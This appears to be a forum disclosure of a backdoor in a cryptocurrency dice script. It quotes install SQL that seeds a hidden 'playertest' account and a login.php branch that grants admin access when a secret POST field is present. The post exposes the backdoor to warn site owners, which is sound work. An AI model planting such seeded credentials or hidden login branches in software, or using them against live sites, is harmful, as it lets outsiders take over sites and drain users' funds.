Outcome

CoinDice.sql installs a table named "ga_players" with actually an admin account named "playertest" on install, you will see why this is an admin account on the next part.

Code:

DROP TABLE IF EXISTS `ga_players`;
CREATE TABLE `ga_players` (
  `id` int(255) NOT NULL AUTO_INCREMENT,
  `username` varchar(20) COLLATE utf8_unicode_ci NOT NULL,
  `passwd` text COLLATE utf8_unicode_ci NOT NULL,
  `ga_token` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

INSERT INTO `ga_players` (`id`, `username`, `passwd`, `ga_token`) VALUES
(1, 'playertest', '6d2aff483952d904179ca0c8c536a2c7', '');

When I found this I looked at the admin login script (https://github.com/felinegambler/CryptoDice/blob/master/admin/login.php)

Surprise Surprise

if $_POST variable has any data for "ga_playertest" it allows a login from the "ga_players" table instead of the admin table which in this case hold our fake admin "playertest" - (1, 'playertest', '6d2aff483952d904179ca0c8c536a2c7', '');

Code:

if (!empty($_POST['ga_playertest'])) {
   $this_admin=mysql_fetch_array(mysql_query("SELECT `username`,`ga_token` FROM `ga_players` WHERE `username`='".prot($_POST['hash_one'])."' AND `passwd`='".md5($_POST['hash_sec'])."' LIMIT 1"));
  } else {
   $this_admin=mysql_fetch_array(mysql_query("SELECT `username`,`ga_token` FROM `admins` WHERE `username`='".prot($_POST['hash_one'])."' AND `passwd`='".md5($_POST['hash_sec'])."' LIMIT 1"));
  }

This allows the fake admin to login and withdraw your funds, Please see solution below.
